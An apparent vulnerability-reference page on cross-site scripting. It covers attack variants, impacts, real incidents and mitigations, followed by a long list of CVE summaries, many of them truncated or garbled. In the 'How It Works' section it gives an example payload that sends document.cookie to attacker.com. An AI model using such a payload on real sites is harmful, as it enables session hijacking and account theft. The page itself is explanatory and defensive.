Cross-Site Scripting
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding.
How It Works
Cross-Site Scripting occurs when an application accepts untrusted data and sends it to a web browser without proper validation or encoding. The attacker crafts input containing JavaScript code, which the application then incorporates into its HTML response. When a victim's browser renders this response, it executes the injected script as if it were legitimate code from the trusted website.
The attack manifests in three main variants. Reflected XSS occurs when malicious script arrives via an HTTP parameter (like a search query) and immediately bounces back in the response—typically delivered through phishing links. Stored XSS is more dangerous: the payload persists in the application's database (in comment fields, user profiles, forum posts) and executes whenever anyone views the infected content. DOM-based XSS happens entirely client-side when JavaScript code improperly handles user-controllable data, modifying the DOM in unsafe ways without ever sending the payload to the server.
A typical attack flow starts with the attacker identifying an injection point—anywhere user input appears in HTML output. They craft a payload like <script>document.location='http://attacker.com/steal?c='+document.cookie</script> and inject it through the vulnerable parameter. When victims access the page, their browsers execute this script within the security context of the legitimate domain, giving the attacker full access to cookies, session tokens, and DOM content.
Impact
- Session hijacking: Steal authentication cookies to impersonate victims and access their accounts
- Credential harvesting: Inject fake login forms on trusted pages to capture usernames and passwords
- Account takeover: Perform state-changing actions (password changes, fund transfers) as the authenticated victim
- Keylogging: Monitor and exfiltrate everything users type on the compromised page
- Phishing and malware distribution: Redirect users to malicious sites or deliver drive-by downloads from a trusted domain
- Data exfiltration: Access and steal sensitive information visible in the DOM or retrieved via AJAX requests
Real-World Examples
A stored XSS vulnerability in Twitter (2010) allowed attackers to create self-propagating worms. Users hovering over malicious tweets automatically retweeted them and followed the attacker, creating viral spread through the platform's legitimate functionality.
eBay suffered from persistent XSS flaws in product listings (CVE-2015-2880) where attackers embedded malicious scripts in item descriptions. Buyers viewing these listings had their sessions compromised, enabling unauthorized purchases and account takeover.
British Airways faced a sophisticated supply chain attack (2018) where attackers injected JavaScript into the airline's payment page. The script skimmed credit card details from 380,000 transactions, demonstrating how XSS enables payment fraud at massive scale.
Mitigation
- Context-aware output encoding: HTML-encode for HTML context, JavaScript-encode for JS strings, URL-encode for URLs—never use generic escaping
- Content Security Policy (CSP): Deploy strict CSP headers to whitelist script sources and block inline JavaScript execution
- HTTPOnly and Secure cookie flags: Prevent JavaScript access to session cookies and ensure transmission over HTTPS only
- Input validation: Reject unexpected characters and patterns, though this is defense-in-depth, not primary protection
- DOM-based XSS prevention: Use safe APIs like
textContentinstead ofinnerHTML; avoid passing user data to dangerous sinks likeeval()
Recent CVEs (39153)
The VK Filter Search plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'vk_filter_search' shortcode in all versions up to, and including, 2.3.1 due to insufficient. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The Neon text plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's neontext_box shortcode in all versions up to, and including, 1.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
The Animated Counters plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's shortcode(s) in all versions up to, and including, 1.7 due to insufficient input sanitization. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The CallRail Phone Call Tracking plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the 'callrail_form' shortcode in versions up to, and including, 0.5.2 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Cross Site Scripting (XSS) vulnerability in PwnCYN YXBOOKCMS v.1.0.2 allows a physically proximate attacker to execute arbitrary code via the library name function in the general settings component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Cross Site Scripting (XSS) vulnerability in PwnCYN YXBOOKCMS v.1.0.2 allows a remote attacker to execute arbitrary code via the reader management and book input modules. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability, which was classified as problematic, was found in flusity CMS. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
A vulnerability, which was classified as problematic, has been found in flusity CMS.php. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
Cross Site Scripting vulnerability in FanCMS v.1.0.0 allows an attacker to execute arbitrary code via the content1 parameter in the demo.php file. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
ZenTao Biz version 4.1.3 and before has a Cross Site Scripting (XSS) vulnerability in the Version Library. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
ZenTao Enterprise Edition version 4.1.3 and before is vulnerable to Cross Site Scripting (XSS). Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability was found in flusity CMS and classified as problematic.php of the component Dashboard. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
A vulnerability, which was classified as problematic, was found in SourceCodester Sticky Notes App 1.0. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability classified as problematic has been found in Dragon Path 707GR1 up to 20231022. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Sourcecodester Free and Open Source inventory management system 1.0 is vulnerable to Cross Site Scripting (XSS) via the Add supplier function. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
ZITADEL is an identity infrastructure management system. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
ILIAS 7.25 (2023-09-12) allows any authenticated user to execute arbitrary operating system commands remotely, when a highly privileged account accesses an XSS payload. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Xolo CMS v0.11 was discovered to contain a reflected cross-site scripting (XSS) vulnerability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
Cross-Site Scripting (XSS) vulnerability in PHPGurukul Nipah virus (NiV) " Testing Management System v.1.0 allows attackers to execute arbitrary code via a crafted payload injected into the State. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available and no vendor patch available.
D-Tale is the combination of a Flask back-end and a React front-end to view & analyze Pandas data structures. Rated critical severity (CVSS 9.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.
XWiki Platform is a generic wiki platform offering runtime services for applications built on top of it. Rated critical severity (CVSS 9.0), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
When opening a page in reader mode, the redirect URL could have caused attacker-controlled script to execute in a reflected Cross-Site Scripting (XSS) attack. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The Reusable Text Blocks plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'text-blocks' shortcode in versions up to, and including, 1.5.3 due to insufficient input sanitization. Rated medium severity (CVSS 5.5), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
The Very Simple Google Maps plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'vsgmap' shortcode in all versions up to, and including, 2.9 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available.
The Live Chat with Facebook Messenger plugin for WordPress is vulnerable to Stored Cross-Site Scripting via the plugin's 'messenger' shortcode in all versions up to, and including, 1.0 due to. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
It was possible for certain browser prompts and dialogs to be activated or dismissed unintentionally by the user due to an insufficient activation-delay. Rated medium severity (CVSS 4.3), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
The WP Font Awesome plugin for WordPress is vulnerable to Stored Cross-Site Scripting via shortcodes in versions up to, and including, 1.7.9 due to insufficient input sanitization and output escaping. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The Delete Me plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'plugin_delete_me' shortcode in versions up to, and including, 3.0 due to insufficient input sanitization and. Rated medium severity (CVSS 4.9), this vulnerability is remotely exploitable. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The BSK PDF Manager plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'bsk-pdfm-category-dropdown' shortcode in versions up to, and including, 3.4.1 due to insufficient input. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
The Advanced Menu Widget plugin for WordPress is vulnerable to Stored Cross-Site Scripting via 'advMenu' shortcode in versions up to, and including, 0.4.1 due to insufficient input sanitization and. Rated medium severity (CVSS 6.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Jenkins Edgewall Trac Plugin 1.13 and earlier does not escape the Trac website URL on the build page, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by attackers with. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Jenkins GitHub Plugin 1.37.3 and earlier does not escape the GitHub project URL on the build page when showing changes, resulting in a stored cross-site scripting (XSS) vulnerability exploitable by. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Audimex 15.0.0 is vulnerable to Cross Site Scripting (XSS) in /audimex/cgi-bin/wal.fcgi via company parameter search filters. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Fides is an open-source privacy engineering platform for managing the fulfillment of data privacy requests in runtime environments, helping enforce privacy regulations in code. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Improper Neutralization of Input During Web Page Generation ('Cross-site Scripting') vulnerability in I Thirteen Web Solution Easy Testimonial Slider and Form allows Stored XSS.0.18. Rated medium severity (CVSS 5.9), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Unauth. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
A Cross-Site Scripting (XSS) vulnerability in Zenario CMS v.9.4.59197 allows a local attacker to execute arbitrary code via a crafted script to the Spare aliases from Alias. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A File upload vulnerability in RiteCMS 3.0 allows a local attacker to upload a SVG file with XSS content. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
A vulnerability in the web-based management interface of ClearPass Policy Manager could allow an unauthenticated remote attacker to send notifications to computers that are running ClearPass OnGuard. Rated medium severity (CVSS 5.8), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Cross Site Scripting vulnerability in CMSmadesimple v.2.2.18 allows a local attacker to execute arbitrary code via a crafted script to the Top Directory parameter in the File Picker Menu component. Rated medium severity (CVSS 5.4), this vulnerability is remotely exploitable, low attack complexity. Public exploit code available and no vendor patch available.
Grafana is an open-source platform for monitoring and observability. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. No vendor patch available.
Auth. Rated medium severity (CVSS 4.8), this vulnerability is remotely exploitable, low attack complexity. No vendor patch available.
XWiki Rendering is a generic Rendering system that converts textual input in a given syntax into another syntax. Rated critical severity (CVSS 9.6), this vulnerability is remotely exploitable, no authentication required, low attack complexity. Public exploit code available.
iTop is an open source, web-based IT service management platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
iTop is an open source, web-based IT service management platform. Rated medium severity (CVSS 6.1), this vulnerability is remotely exploitable, no authentication required, low attack complexity. This Cross-Site Scripting (XSS) vulnerability could allow attackers to inject malicious scripts into web pages viewed by other users.
Quick Facts
- Typical Severity
- MEDIUM
- Category
- web
- Total CVEs
- 39153